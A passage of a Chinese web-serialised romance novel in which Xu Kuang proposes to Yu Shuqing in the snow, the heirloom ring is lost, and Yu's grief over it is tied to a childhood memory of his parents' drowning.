徐矿突兀地松开手,一把拉开车门,弯腰进去找东西。 “你还?在车里?准备了套?” 郁书青不可思议道:“难道你早就?有了这个?心思?是挺刺-激的?,但我觉得还?是不好,真的?徐矿你冷静一点,万一被人拍到了——” 他话?没?说完。 因为徐矿已经转身,朝他半跪下去。 膝盖跪在洁白的?雪上。 有些仓促,过程也凌乱,车门都没?关呢,地上的?积雪扫除干净了,却被另一种干燥的?碎雪籽所覆盖,一层好干净的?白。 徐矿仰着脸看他,举起手中的?盒子。 蓝色的?天鹅绒。 他深吸了口气,打开的?时候,手指都有些僵硬。 里?面是一枚男士戒指。 “郁书青,” 徐矿紧张地吞咽了下,睫毛眨得很快:“我向你求婚。” 郁书青没?说话?,呆呆地看着他。 “请求你……能够答应我。” 郁书青听见自己的?声音,没?什么?起伏:“答应什么??” 徐矿凝视着他,嗓音有些颤抖。 “答应和我组成一个?家庭,考虑一下,行吗?” “求您了。” 第70章 第 70 章 郁书青不怕徐矿对他流氓, 就怕这人?突然正经。 招架不住。 这次的雪下得太温柔了,由于温度低,地面也早就打扫过, 所以飘下来的时候不会融化, 干干净净地落在睫毛上。 徐矿似乎屏住呼吸, 表情紧张得要命。 郁书青的反应倒还好, 双手背在身后,不由自主地掐自己的掌心, 张了张嘴, 还是没能说话。 徐矿眼眸委屈:“好不好嘛……” 声?音越来越低。 “拜托了……” 可?郁书青还是没有反应。 徐矿有点慌, 也开始后悔, 本来他是不打算这么?早就求婚的,但?是刚才亲吻郁书青的瞬间,他就什么?都忘了, 去他大爷的按兵不动循循善诱, 他现在就想?给郁书青抱回家, 使劲儿亲, 让全世界都知道这是他的爱人?。 是不是太突然了, 没有给对方足够的心理准备? 徐矿见过不少次求婚现场,也帮着朋友准备过惊喜的告白,又因为?学艺术出身,说起来还挺头头是道, 轮到自己的时候却懵了, 心里慌张得厉害,完全没底。 这枚戒指, 是妈妈给他的。 上次父母特意飞回来,就是想?亲眼看看儿子的心上人?, 走之?前妈妈给他留了个?盒子,说该还给他了,徐矿不明所以地打开,怔了片刻,就笑出声?—— 是枚镶嵌了颗小钻的戒指。 “当初你说过,要拿这枚戒指娶媳妇用,”妈妈温柔地揉着他的脑袋,“现在当嫁妆用也挺好。” 徐矿:“啊?” 徐矿:“不是,妈你能不能别……” 妈妈还在笑:“虽然看起来有点寒碜,但?毕竟心意在这放着,都有十几年了吧,并且咱家准备的嫁妆肯定不止这么?点,放心。” 徐矿:“妈妈,您能不能先别笑得这么?灿烂……” 总感觉在想?一些很?奇怪的东西。 他把那枚戒指拿出来,对着太阳端详了好一会儿,就收进手心。 说来也巧,这枚戒指是他上小学的时候,很?偶然的一次机会买来的,那天父母带着他去拍卖会,有枚很?漂亮的蓝宝石拍卖,竞拍成功的是位年轻男士,当场就表示要用这枚宝石做成戒指,送给自己的未婚妻。 徐矿坐在凳子上,晃着自己的两条腿,闻言拉过妈妈的手,指着无名?指上的钻戒,说这个?也是爸爸送的吗? 妈妈就点头,说求婚的时候,男士要给心上人?送戒指的。 徐矿把钻戒看了又看,说这个?不够大啊。 在小孩子的世界里,仿佛越大越漂亮,就代表着越高的心意。 妈妈笑了起来,说这是你爸爸当年挣得第一笔工资,以及身上的全部家当合起来,才买来了这枚戒指,意义很?不同的。 徐矿把这话听进心里了。 回家后,他整理了自己所有的钱,又攒了大半年,终于在下一次拍卖会的时候,提出自己也要拍。 不要带颜色的,就要钻石。 最剔透,最漂亮。 爸爸盘腿坐在地上,帮着他计算完全部的钱后,才冷酷地告诉这个?满怀憧憬的小男孩,说他连颗碎钻都买不起,不够。 徐矿的世界小小地崩塌了。 “慢慢攒老婆本吧,”爸爸一脸严肃,“现在不着急,多攒点,买个?大的。” 徐矿不服气:“你给妈妈买的那个?,也不够大啊!” 他想?好了,要给以后的另一半,买个?比鸡蛋还大的钻石! “那又如何,每年我都给她再买个?新的,”爸爸嚣张道,“想?买多大就买多大。” 直到那个?时候,徐矿才知道,原来妈妈经常戴求婚时的戒指,不仅是因为?有意义,还因为?这枚最轻,戴着手指头不累。 然后,徐矿又攒了半年的钱。 说不上什么?原因,他就觉得自己既然知道了这件事,就要去做,从小到大,无论是学习还是生?活,徐矿就这样?,一旦确定了目标,便一定要做到,因为?钱不够,还跟自己的朋友郁书青抱怨过。 “挣钱真难啊!” 他戳着郁家的蔷薇花架:“我都攒好久了,还是不够。” 郁书青不明白什么?叫求婚戒指,但?他知道徐矿在手欠,淡淡道:“神经病。” “你不懂,”徐矿忧伤地叹口气,“你没有目标,不像我,已经开始承担男人?的责任了。” 在当时的徐矿看来,郁书青好幼稚。 如果不是因为两家离得近,对方长得很?顺眼,有时候也挺可?爱,他才不乐意和郁书青玩呢,在一群男孩子大呼小叫玩变形金刚的时候,郁书青总是一个?人?坐在旁边,还得他经常过去拉对方的手,带着一起加入进来。 因为郁爷爷爱干净,叮嘱说小咪别乱跑,别弄脏鞋子了。 他就真的不乱跑,安安静静地坐着。 一直到那年的冬天,徐矿才终于攒够钱。 他激动得像是找到了巨龙财宝的骑士,邀请了父母和他一起,参加了拍卖会,然后一家三口经历了详尽的研讨,分?析,以及战略安排后,成功地得到了一颗钻石。 是一颗属于徐矿的钻石。 有些小,但?在当时的徐矿看来,已是身价不菲,他和曾经的父亲一样?,耗尽了全部家当。 因为?它有数百年的历史,来源于一位公主的项链,那位幸福的公主一生?顺遂,和爱人?相知相伴几十年,白首到老。 徐矿决定把它镶嵌在戒指上,送给自己将来的老婆。 雪花静静地落下。 “……然后,我妈妈就帮我保管起来了,我前几天刚改了下尺寸,”他支支吾吾地讲,感觉自己浑身都是僵硬的,“不知道你喜不喜欢,要不这样?,你把手递给我,我先在你手上试一下,看合不合适,就试一下而已,不许后退!” 郁书青身形凝固:“我没后退。” “你有!” “……你看错了。” 徐矿嗷一嗓子叫起来:“我都跪半天了,你怎么?还在考虑啊,虽然我很?喜欢在你面前跪着,但?这毕竟是大马路上,真的,你把手递过来,我就在无名?指上稍微试一下,你也可?以趁机再思考下……就试试而已!” 郁书青脸皮发烫,感觉旁边已经有不少人?往这里看了:“你先起来……” “不要!” 郁书青为?难道:“太突然了,我完全没有心理准备……这样?吧,等你下次回来,我一定给你答复,行吗?” 他的指甲都要掐进掌心里了。 并不是想?拒绝徐矿,恰恰相反,徐矿刚才说的话诱惑力太大了,要是这人?欠儿吧唧地说,请你嫁给我,或者说老公能不能给我名?分?,自己就可?以跟着插科打诨,但?偏偏,徐矿半跪在他面前,表情那么?虔诚,说考虑一下,和我组成一个?家庭行吗。 家庭。 郁书青不动心是假的。 可?他却本能的有些畏惧。 大概是这种感觉太幸福了,已经超过了自己的经验和想?象,他无法游刃有余地掌控,以至于,想?要后退。 但?不是因为?怕受伤。 郁书青从来不怕疼。 他怕他辜负徐矿,怕自己承担不了这样?的期待。 说来也可?笑,徐矿之?前开玩笑,总是乐呵呵地说我可?真幸运,我是天底下最幸福是人?,怎么?什么?好事都让我赶上了呢? 徐矿说这些话的时候,非常坦然。 但?郁书青做不到,他无法相信自己能有同样?的幸运,这么?多年来的准则就是,放低期待,做自己能力范围最大化的事,徐矿说他矛盾,对自己既爱惜,又很?不爱惜,那是因为?他心里有数,知道什么?可?以放弃,什么?不必去拥有。 在郁书青心目中,家人?有爷爷奶奶就够了。 还包括曾经的大咪。 他也恐慌过,大咪已经离开了自己,爷爷奶奶也终有一天,会和爸爸妈妈一样?,变成墓碑上的小小照片,当有风吹来,也依然沉默,只?有摆放的鲜花和他作伴。 所以郁书青,宁愿不再拥有家人?。 那就不会难过。 “你不喜欢我吗,”徐矿仰着脸,完全不加掩饰的哀伤,“你说过,你喜欢我的。” 郁书青喉结滚动:“是的,我喜欢你。” 对方这才长长地呼出一口气,低头笑了笑:“那就好,我明白了……是我今天做的不对,太突然,让你受到惊吓了,真的对不起。” 说完,徐矿就试图从地上站起,可?能半跪的时间长了,有点踉跄,那么?高大的身影,什么?都难不倒似的,永远乐呵呵的一个?人?,却好像碎掉,很?脆弱。 居然没能成功站起来。 郁书青心头一痛,上前扶住对方:“对不起,再给我一点时间好吗?” “当然,”徐矿温柔地笑着,“谢谢你愿意喜欢我。” 郁书青鼻子都要酸了:“我……” “能让我亲一下你的手吗?” 徐矿的眼睛亮晶晶的:“既然我都这样?跪着了,总得行一个?吻手礼才绅士吧?” “好,”郁书青抽了下鼻子,朝对方伸出手,“你起来吧,我们回家再……” 话音刚落,他就瞳孔紧缩。 因为?徐矿以迅雷不及掩耳之?势掏出戒指,猛地抓过他的手,直接戴了上去。 郁书青:“啊啊啊啊!” 徐矿也跟着:“啊啊啊啊!” 郁书青:“你放手,你混蛋!你这是强买强卖你故意的!” 徐矿:“你怎么?能这么?想?呢郁小咪我只?不过是想?试一下尺码而已,我又不知道你无名?指的圈数,所以我只?是试一下,你不会那么?小气吧连帮个?忙都不肯?哎你别说这戒指和你挺搭配的感觉像是天生?就长在你的手上……哎你别摘啊,我还没试好,万一有点不合适怎么?办!” 郁书青奋力向后挣扎:“那你也不能这么?粗暴,已经试过了,可?以了!” 徐矿使劲儿按着他:“不可?以!我妈妈从小就告诉我,戒指要戴在手上一年才能看出来合不合适!” 郁书青:“什么?莫名?其妙的说法……还有这不叫你妈妈从小告诉你,这叫你从小就听妈妈说吧,啊你不要抓着我的手了,好痛!” 徐矿一把给人?拉进怀里,低头去亲:“都这个?时候了就不要在乎语法错误了啊!” 郁书青惨叫连连:“你别舔我的脸啊啊啊!” 徐矿:“我都这么?努力了还不能让你色令智昏被迷惑吗?你忘掉刚才发生?的一切,答应我,坚信戒指就是天生?长在你手上的,做得到吗宝贝,看着我的眼睛!我相信你做得到!” 他俩也不管旁边有没有人?了,一直在较劲,郁书青拼命地把戒指往外拔,徐矿努力地按着他,要是让外人?看来,还以为?这俩人?在扭打。 郁书青也不知道自己怎么?想?的,就是害臊,想?要转身就跑,怎么?可?以在大马路上,在雪地里这样?子抱着亲,撒泼打滚地要名?分?呢,刚才的暧昧和忧伤一扫而空,两人?吵得脸都要出汗了,而随着一声?突兀的鸣笛声?—— 璀璨从指间一闪而过,消失在地上。 郁书青惊呼:“戒指掉了!” 都有点上头,闹得太厉害了,他立马跪在地上去找,偏偏今天的雪太碎了,都是籽粒,被路灯一照,像是满地都在闪着细钻的光,戒指应该随着动作被甩出去,旁边就是郁郁葱葱的行道树,灌木茂密,叶片坠着晶莹的冰。 “对不起对不起,怪我。” 郁书青急坏了,双手按在地上去摸索,反复搜寻:“应该就在这里……” 徐矿握住他的手:“你别慌……” 话没说完。 两道明亮的闪光灯照过来,映得大地一片刺目的白。 徐矿本能地伸手,挡在郁书青的眼前,同时愤怒地瞪过去,想?看下是哪个?无德司机,在这里开远光灯。 郁书青急着找戒指,拿开了徐矿的手,继续低头寻找。 始作俑者停住,纯黑色的车身像是蛰伏在暗夜的窥视者,车窗缓缓降下。 “呀,” 车内人?趴在窗上,乐呵呵的:“大晚上的,你俩都跪在地上干嘛?” 徐矿没什么?表情:“你来干什么?,高元?” 郁书青这才跟着抬头,感觉名?字有些耳熟。 是一张陌生?的脸。 叫……高元? 此?刻正在对他微笑。 那人?吹了声?口哨,语气轻快:“你俩搞什么?呢,夫妻对拜?” 似乎很?友好,还在跟他们半开玩笑。 70-76 第71章 第 71 章 但对方的态度, 并不是目前郁书青所关心的问题。 他全部的注意力都在雪地,那枚消失的戒指上,所以只是匆忙地瞥了一眼?, 就立刻低下头, 继续认真搜寻。 这个名字, 应该是之前聊天的时候, 徐矿随口?提的吧。 没有戴手?套,地面松软的雪闪着细碎的光, 看起来晶莹而透亮, 摸上去的时候也不觉得凉, 郁书青把目光投向?旁边的灌木丛:“是不是掉那里了?” 徐矿已经不由分说地给他拉起来:“别急, 我来找。” 那个叫高元的男人已经从车上下来了,单手?插兜,很熟络地凑过来:“你们找什么呢, 我老远看着, 还?以为俩人在大马路上夫妻对拜。” 徐矿却像没听?见似的, 弯着腰, 认真地拍去郁书青膝盖上的雪, 然后才?站直身子,把对方的手?握住搓了搓:“冷吗?” 而直到这时,郁书青才?想起来上次听?到这个名字,是徐矿严肃地说, 如果对方联系自己, 或者听?说了关于他的事?,一定要告诉自己。 【他有敌意。】 当时的徐矿, 是这样说的。 郁书青的手?被对方搓热乎了,也不管旁边有没有人在场, 再次道歉:“对不起……” “都说了没事?,不怪你,是我的错,”徐矿摸他的脸,“咱一块儿找,万一实?在找不着,我就再给你买,行?吗?” 郁书青有些鼻酸:“不行?,这个有意义的……” “我爸每年都给我妈买,”徐矿轻声哄道,“意义都是人赋予的,只要喜欢,咱可以买更大更漂亮的。” 郁书青脸颊发红,可能是被风吹得了,也可能是被徐矿揉的:“这个都够大了,再大的我怎么戴出门,不合适。” 旁边的高元顿住:“喂,你们有没有听?到我说话?” 徐矿却很高兴的样子:“可以当成吊坠,串在项链上怎么样?” 郁书青抿着嘴:“我不太戴首饰……” 高元:“喂,我在这站着呢!” 徐矿两手?捧着他的脸:“那就慢慢习惯呀,一枚戒指又不重,当成个小小的装饰品多好,你能接受求婚我已经很高兴了……以后呀,我要每年都买新的,给你十个手?指头都戴满,再在脖子上挂一长串儿!” 郁书青破涕为笑:“你搞批发呢。” 徐矿:“这不是想让你开?心嘛,只要你开?心,别说每年都买戒指了,每天买都行?呀,咱家就是做这个的!” 高元:“喂……” 郁书青瞪他一眼?,小声道:“谁跟你咱家……” “你都答应我的求婚了,”徐矿特嚣张地牵着人往灌木丛那走,“当然就是一家人啊,来,说不定刚才?甩到这里了,我们一起找,乖乖,如果找不到也不遗憾啊,不然就违背本意了。” 他把郁书青的手?拉起来,低头亲了下:“只想让你开?心。” 旁边的高元:“……” 他已经说不出话了,整个人除了最开?始下车那会,被徐矿冷冰冰地问了一句后,遭到了完全的无视,原本还?想郁书青见到自己,说不定会想起来点什么,即使没有,稍微提示那么一两句,也能给对方带来点波澜。 结果,并没有! 郁书青就像没看到他! 高元感觉自己牙根都在痒痒。 那可是郁书青! 曾经对谁都爱答不理,骄傲得像只独来独往的天鹅,现在却完全变了个人,亦步亦趋地被徐矿牵着,往马路边的灌木丛那儿走,小鸭子似的。 一种黏腻而冰凉的感觉升起,随着刺骨的冷风探进身体,高元不发一言地站在原地,表情阴冷,死死地盯着两人的身影,如若目光能化作实?质,一定会攀爬上那牵着的手?。 高元也不想这样的。 可凭什么……什么好事?都让徐矿占了呢? 曾经,他打听?过郁书青的现状,家里和公司两点一线,和外?界的灯红酒绿没有交集,仿若冰冷而美丽的月亮,盈缺有数,按时升起,他非常满意,高兴极了,既然自己得不到,那他人也休想染指,保持这样的状态,再好不过。 所以知道两人订婚的消息,高元完全傻了。 到底发生了什么? 徐矿不是刚回国没两个月吗,怎么这样突然! 他甚至给自己的姨丈打电话,亲自询问。 “郁书青……是和徐矿结婚了吗?” 对方似乎有些疲惫,说话也不怎么耐烦:“是,俩人都领证了。” 高元不敢再问下去了,自从家里破产,姨丈郁锋这边就对他们不怎么待见,曾经攀上的关系也变得如纸一般薄,真可笑,高家烈火烹油,鲜花着锦的时候,郁锋可是一口?一个亲外?甥地叫他,如果不是因为郁老爷子不喜欢这个儿媳妇,他也早就跟着自己的表姨大摇大摆地去郁家拜访了,还?能有徐矿什么事?? 可惜,只是表姨而已。 也不够争气,随着家里的情况变得不太好后,连往郁家的公司里塞人都做不到,据说今年想给亲戚中一个小姑娘介绍给郁书青,不知怎么回事?,也没有成功。 要是成功就好了。 但事?情完全按照不受控的方向?发展,以至于,高元开?始恐慌。 他害怕郁书青恢复记忆,可心里另一种莫名的冲动也在叫嚣—— 希望郁书青想起来。 雪已经慢慢停下了,高元站得膝盖都要僵硬,而前面的两人依旧浑然不觉,在灌木丛里摸索,郁书青用手?机打着光,徐矿弯腰拨开?横生的枝桠,可能被扎到手?了,还?委屈巴巴地凑过去,让郁书青看。 这一刻,高元觉得自己像个傻比。 他不仅憎恨徐矿,也开?始憎恨那个完全忽略自己的郁书青—— “走开?,” 郁书青现在什么想法都没有,别说徐矿把完全没伤的手?指头杵他面前了,哪怕脱光了打滚都不会给一个眼?神,他的全部注意力都在消失的戒指上,后悔,觉得刚才?的打闹太幼稚,即使自己不接受,哪怕回家再闹呢? “一定在附近的,”徐矿偏过脸看他,“又不会被甩得太远。” 这条路空旷安静,两人又是在人行?道起的争执,不可能存在把戒指甩到马路中央,被车碾到的情形,所以找到只是时间问题,只是—— 徐矿扭头看过去:“你站那干嘛?” 高元愣了下:“啊?” “要不你别闲着了,”徐矿挥了挥手?,“也过来帮着找一下。” 高元眼?睛瞪得很大,指着自己:“我,过去,帮你们找东西?” “忙的话就算了,”徐矿收回目光,“我看你站着半天不动,还?以为你很闲。” 话音落下,高元才?完全反应过来:“谁闲着了,我就看看而已!” 细碎的雪粒晃下枝桠,郁书青责备地拍了下徐矿的手?:“怎么跟朋友说话的?” 徐矿立马道歉:“对不起。” 郁书青这才?抬头,一副替孩子道歉的语气:“不好意思,我们现在有点忙。” 高元:“……” 看出来了,两个人忙得不知天地为何物?,满心眼?都是丢的东西,再继续等下去就是自取其辱,本来也就是偶遇,高元还?想着有可能一起吃顿饭,但现在一点心思也没了,他干巴巴地嘟囔了句话,转身就离开?,关车门的时候,砸出很大的声响。 烦人的引擎声消失,徐矿伸手?,揉了揉郁书青的头发。 “你刚说话也太不客气了。” 找了好一会儿,已经有些累了,郁书青直接坐在花坛的边沿上,叹了口?气:“说吧,你发现什么了?” 徐矿挨着他坐了,把对方的手?拉过来:“你刚才?教?训我的时候,好可爱。” 郁书青:“说正事?。” “没什么不客气的,”徐矿淡淡道,“说起来,你们俩也算得上是亲戚。” 白?天的时候郁书青去上班,他没闲着,把高元的家庭和人际关系全部找了出来,发现了些不对劲的地方。 郁书青回眸:“嗯?” “关系比较远,是他的一个表姨,嫁给了你的二叔,”徐矿继续道,“但他们家关系比较复杂,没有太把这件事?拿到明面上说。” 郁书青惊讶:“我完全不知道。” “别的还?没查出来,”徐矿把玩着郁书青的手?指,“希望是我多心。” 郁书青没在意:“随便吧。” 他说着就站起来,把外?套稍微拉开?了点:“继续找,找不到就不回去了。” 徐矿懒洋洋地跟在后面:“那今晚我们就守在这,住车里吗?” “嗯。” “哇哦,那还?挺刺激!” “我的意思是,找不到的话就别走了,”郁书青没回头,“找到为止。” 明明就这么大点的地方,为什么就找不到呢,他像是心脏都跟着缺了很大一块,满腔的难过,幸好这会儿雪已经停了,周围又没什么行?人,郁书青弯腰看着花坛,仔细地拨开?枝条,看下面的土壤中,会不会有细碎的闪光。 不知是什么品种的灌木,根部有些小刺,怪不得刚才?徐矿嗷嗷叫,说是被扎到了手?。 郁书青毫不在意,找得认真,徐矿似乎去旁边接电话了,拿着手?机走远。 他继续低头找,直到被人从后面抱住。 郁书青怔然地低头,看到了对方合拢的双手?,而徐矿的声音从耳畔传来:“要不要猜猜看,我手?里有什么?” 刚才?找的时间久,身上出了汗,郁书青感觉自己的脸都发烫,可他紧紧抿着嘴,不发一言。 “怎么,害羞啦?” 徐矿亲他的耳朵,缓缓打开?自己的双手?:“瞧,在这儿呢!” 一枚钻戒静静地躺在掌心,发出璀璨的光,可能在雪地里滚得了,还?站着点雪,徐矿用拇指揩去,声音里满是笑意。 “给你戴上好不好,谢谢你能答应我……” 郁书青没什么反应,被捏着下巴亲了一口?,才?张嘴:“你什么时候找到的?” “就、就刚才?。” 徐矿目光飘忽:“我不想让别人看到我向?你求婚嘛,所以就放兜里,现在才?拿给你看,要不咱把刚才?的都忘了,我再跪一次?” 他说着,就真的半跪下去,不由分说地拉过郁书青的手?,把那枚漂亮的戒指戴到无名指上,这次,郁书青没有拒绝,只是垂眸看着,很安静的模样。 “不行?,”徐矿捧着对方的手?瞅了会,“我现在有点飘,我有点激动。” 郁书青轻轻道:“傻狗。” 一场意外?扰乱了彼此的计划,没有再去吃法餐,徐矿开?车带着人回家,在屋里简单地亲热了会,郁书青似乎有些困了,洗澡的时候就不住地打呵欠,徐矿也不折腾他,反正明天休息,他后天一早才?出发,所以给人吹完头发后,往被窝里一塞,抱着拍了两下,真的就睡着了。 呼吸均匀,睡得很沉。 徐矿看了会,越看越喜欢,可没敢低头去亲,怕吵醒了郁书青的安眠,卧室里很安静,只有月光温柔地洒上床褥,像是铺了一层薄薄的雪,到了凌晨时分,徐矿才?悄悄地掀开?被子,蹑手?蹑脚地下床。 他不在卧室里换衣服,连开?门的时候都小心翼翼,当卧室门关上时,才?长长地呼出一口?气。 很好,郁书青还?在睡。 这会儿外?面应该很冷,徐矿随便套了件羽绒服,尽量不发出任何声音,直到换鞋的时候,才?听?到一丝很轻的“吱呀”声。 徐矿浑身僵硬了,缓缓地回头。 郁书青推开?卧室门,安静地站着,眼?眸清明。 视线相对的刹那,徐矿唰地一下站起来,结结巴巴地开?口?:“宝贝,我……” 郁书青看着他:“你要出门?” 徐矿:“……宝贝你听?我解释。” “是去找戒指的对吧,”郁书青歪了下脑袋,“那会找不到,所以买了个新的应付我,这会大半夜的自己单独过去,继续找,对吗?” 对方沉默片刻,朝他竖起个大拇指。 “没错,” 徐矿由衷赞叹:“我老公就是聪明!” 可郁书青没有笑。 “你骗我。” 他叹了口?气:“你想着我只是看了一眼?,不记得戒指长什么样,对吗?如果还?找不到呢,是不是就不打算告诉我了?” 徐矿怔了下,快步朝他走开?:“宝贝,没这么严重……” 郁书青后退一步,静静看着他。 “可是,你骗我。” 偷偷让旁人帮忙买来新的,甚至还?在地上摩擦了两下,沾染了雪花和泥土,打算蒙混过关,但郁书青一眼?就认出来了,不是最初的那个。 他知道徐矿是善意的,想让自己开?心。 可是,这枚漂亮精致的钻戒,不是那个小男孩攒了很久的钱去买的,不是历经了十几年的时光,终于得以被呈现,和店里展示的那些……不一样呀! 而弄丢戒指的自己—— 郁书青也并不想原谅。 第72章 第 72 章 郁书青还光着?脚, 没穿袜子,就这样站在地?上。 徐矿看了会儿,没有道歉, 也没有再劝, 而是?一步步走上前, 同时伸手, 挡住了郁书青后退的步伐。 郁书青的后背靠在墙上,退无可森*晚*整*理退。 “我不走了, ”徐矿摸他的脸, “陪着?你睡觉好吗?” 郁书青很安静。 “你要是?想出去找也行, ”徐矿继续, “我们一起,可以?再安排点人,一块儿去……” 屋里就他们俩, 还把要声音放得那么低, 生怕旁人听见, 傍晚的那场雪实在太?小了, 似乎只是?轻轻地?把夜空洗得明净, 露出一枚很圆的月亮,透过窗楹,悄悄往屋里看。 可是?月亮在看徐矿,徐矿在看郁书青, 郁书青呢—— 他什么也不看, 只是?盯着?自己?的脚。 徐矿的心像被?夜风吹皱,有点难受, 但又不知道怎么表达,他只好把郁书青抱在怀里, 给脸埋在对方的肩膀上,叫了声小咪。 郁书青这才抬头,揉了揉他的头发。 “决定好了吗,”徐矿的声音闷着?,“怎么办?” 郁书青还是?没说话。 真奇怪,明明是?很小的一件事,可为什么会令他起这样大的波澜,如果那会儿徐矿没有拿新戒指哄他,郁书青一定会坚持找下去,哪怕把地?翻了个遍,也要找到丢失的戒指。 当时,他已?经?发现了。 郁书青又不是?傻瓜呀。 他看着?徐矿的眼?睛,他感觉,徐矿的眼?睛好像湖水,很悲伤的样子,而湖水中间,映出的是?小小的身影。 郁书青想,那我又是?一个人了。 执念太?深,不是?一件好事。 他记得自己?踩过湿滑的鹅卵石,跋涉进冰凉的河,水没过他的小腿和膝盖,那天他穿的是?短裤,也逐渐浮了起来,妈妈在后面拉着?他的手,说宝贝,我们回去吧? 不行。 郁书青认真地?摇头。 他把玩具弄掉水里了,很快就没了踪迹,河水哗啦啦地?奔流着?,五六岁时 ,郁书青已?经?听过了许多的故事,他知道有个农夫把斧头掉进水里,河神出来问,你掉的是?金斧头,还是?银斧头呢? 最开始的郁书青,不想要金子做的玩具,他只想要那个漂亮的塑料玩具。 后来的郁书青,什么玩具都不想要了,只想要爸爸妈妈回来。 【如果,如果不是?我非要找到丢失的东西呢?】 【他们就不会溺水了。】 【丢了就丢了,为什么要那么较真呢?】 他记得奶奶一直在哭,爷爷叹了很久的气,然后把手放在自己?头上,说你要乖。 郁书青憋着?眼?泪,说我乖的话,爸爸妈妈就能回来吗? 爷爷想了想,说会的。 郁书青真的很听话。 对于丢掉的东西,也不会有执念,虽然这和妈妈以?前告诉过自己?的不一样——妈妈笑话郁书青是?个小守财奴,喜欢攒很多乱七八糟的东西,鸽子落下的灰色尾羽,一颗漂亮的石头,或者是?心形的叶子,小孩天生就有囤积癖,他把东西认认真真地?攒着?,若是?不小心忘在外面,妈妈一定要陪他走很远的路,给找回来。 妈妈爱郁书青,爸爸爱妈妈,郁书青也爱爸爸。 所以?,当爸爸妈妈不在后,郁书青就努力去爱爷爷奶奶,他听话,不再提出要求,成为了一名很“省心”的小孩。 可还是?太?粗心了。 春游回来的时候,他把一把葡萄忘在了校车上,那次是?关于秋收的主题,小朋友们学着?收割麦穗,认识庄稼和果树,离开的时候,农场主伯伯送给他们每人一小把葡萄,说拿回家,给爸爸妈妈吃。 郁书青想,真好,奶奶最爱吃葡萄。 回去的路上,郁书青睡着?了,手里还紧紧攥着?小袋子,下车的时候迷迷糊糊,老师在前面点名,他猛地?惊醒,啊,葡萄忘记了。 要去找吗? 那辆车已?经?消失了呀! 如果是?以?前,郁书青一定会过去扯老师的衣角,说我的葡萄忘记了,可现在的郁书青,犹豫了好久,还是?垂着?头,跟在队伍的最后。 “怎么了?” 有同学发现他的难过,凑过来问,包括徐矿都挤了进来,一块儿好奇地?看着?他。 “我的葡萄……”郁书青很想哭,“忘在车上了。” “没关系,我的给你分一点!” “我也有,我今天拿了很多的!” 大家都很友善,七嘴八舌地递过来葡萄。 可郁书青还是?摇着?头后退,眼?圈红着?:“不一样的……” 那不是他的葡萄呀。 即使是?别人给的,再去采摘的,也和被?自己?紧紧攥了一路的葡萄不一样。 老师也过来了,把手上的礼品盒给他:“来,这一份送给你!” 郁书青抽了下鼻子,没接,小声地?道谢。 下一秒,他被?人拉住手了。 “走,”徐矿满不在乎的语气,“我陪你一块儿去找!” 别说郁书青了,连老师都愣了,全部的小朋友在农场度过了一天,这会儿在幼儿园稍微休息下,马上就是?放学时间了,外面已?是?晚霞漫天,橘色的云朵像是?凤凰的尾巴似的,染出大片的灿烂。 老师故意问:“你怎么陪他找?” 徐矿一拍胸脯:“我有车!” 上学的时候,他那辆滑板车停在门口?的,特别炫酷,跑起来的时候后轮还会发出炫彩的光。 “别难过啊,”徐矿完全没有开玩笑的语气,拉着?郁书青的手往外走,“想找就回去找嘛,我骑车带你,很快就能追上的。” 周围哄地?一声,都笑了。 哪儿有这么麻烦,这儿寸土寸金,校车怕停在门口?挡路,才把小朋友们放下就离开,也就几分钟的而已?,有老师给司机打电话,对方一口?答应,说行,马上就回来。 郁书青的心砰砰直跳。 校车真的出现了,载着?他丢了的葡萄,徐矿满不在乎的语气。 “看,都说过没关系了。” 他放开手,轻轻地?推了郁书青一把:“去吧。” 直到十?几年?后,郁书青都依然记得,对方推自己?的那一下。 他已?经?不再有囤积癖,对事情的执念少了许多,倔劲儿也慢慢没了,酒桌上的时候也可以?推杯换盏,虚与委蛇,但可能骨子里的东西一直没变,有次喝多了,一位长辈叹了口?气,说小郁啊,你就是?太?和自己?较劲了。 郁书青笑笑,说您教育的是?。 因为较劲,所以?很不在乎自己?,拿身体去拼事业和成绩。 以?至于,忘记了很多在乎的东西。 像是?被?永远地?困在河水中央,天大地?大,他找不到喜欢的玩具,如今又多了一项,那就是?弄丢了属于自己?的戒指。 真难过。 “我经?常犯错,”郁书青收回手,重?新背在身后,“也总是?搞砸。” 徐矿抬起脸,茫然地?“啊”了一声:“不至于的,小咪,真的没那么严重?……” 郁书青充耳不闻,喃喃道:“你也觉得我很没用吧,既要又要,明明一开始不打算和你产生感情,但是?还控制不住,却又不好好恋爱,很别扭。” “没有啊,我很喜欢的。” “你看,”郁书青继续道,“我很不会处理亲密关系,你想我求婚的时候,我第一反应是?逃离……别说你了,自从成年?后,有了自己?的经?济能力,我也迫不及待地?从家里搬了出来,或许我本来就不适合跟人生活,就像见不得光的苔藓一样,自己?生活在河里就好。” 徐矿深吸一口?气,起身,左右看了看郁书青的脸:“亲爱的……” 郁书青抬眸,语速很快:“我真的没有处理亲热关系的能力,要是?别人,会很感动吧,你怕我不开心,就买了个新的戒指来哄我,自己?大晚上地?跑去找,其实我刚才根本没睡着?,我一直在等,既希望你会出去找,又希望不会,为什么我这么矛盾呢,你也说过吧,我是?很矛盾的一个人。” 徐矿张了张嘴:“你……” “闭嘴,”郁书青面无表情,“听我说完。” 徐矿把嘴闭上了,表情有些扭曲。 “我其实给不了你什么,如果真的那么契合的话,你应该早就追我了吧?或许是?现在的情形,让你造成了些误解,毕竟那你真的喜欢我,也是?从我们上床开始的。” ? 郁书青自嘲地?扯了下嘴角:“怪我那天喝多了。” 徐矿呆滞地?看着?他。 “你看,无论是?陪伴还是?情绪价值,我都提供不了,还需要你哄着?我,捧着?我,”郁书青眼?圈有些泛红了,“或者说我这种类型的,你以?前没谈过,所以?新鲜了吗……唔!” 徐矿已?经?忍无可忍,捂住了他的嘴。 什么玩意,这简直越说越离谱了! 是?他追郁书青太?晚了吗,徐矿说得多清楚啊,他以?前就是?傻,完全没开窍,还乐呵着?想做梦梦见兄弟怎么了,现在看来,他早就对郁书青有不轨之心,只是?自个儿没意识到。 正?好,趁今天晚上这个机会,好好谈谈。 郁书青拼命挣扎:“放开我……唔!你听我说完!” “不用说了,”徐矿表情复杂地?看着?他,“我已?经?判断出来,你那迟到的青春叛逆期终于来了,我们郁总在外面人模人样,大半夜的突然开始非主流语录……” 郁书青一巴掌呼过去:“你说谁非主流!” 徐矿没躲,但这个巴掌也没真的挨到脸上,因为郁书青生生地?顿住了,视线相接的刹那,他像被?火星子烫到似的,猛然缩回了手—— 来不及了。 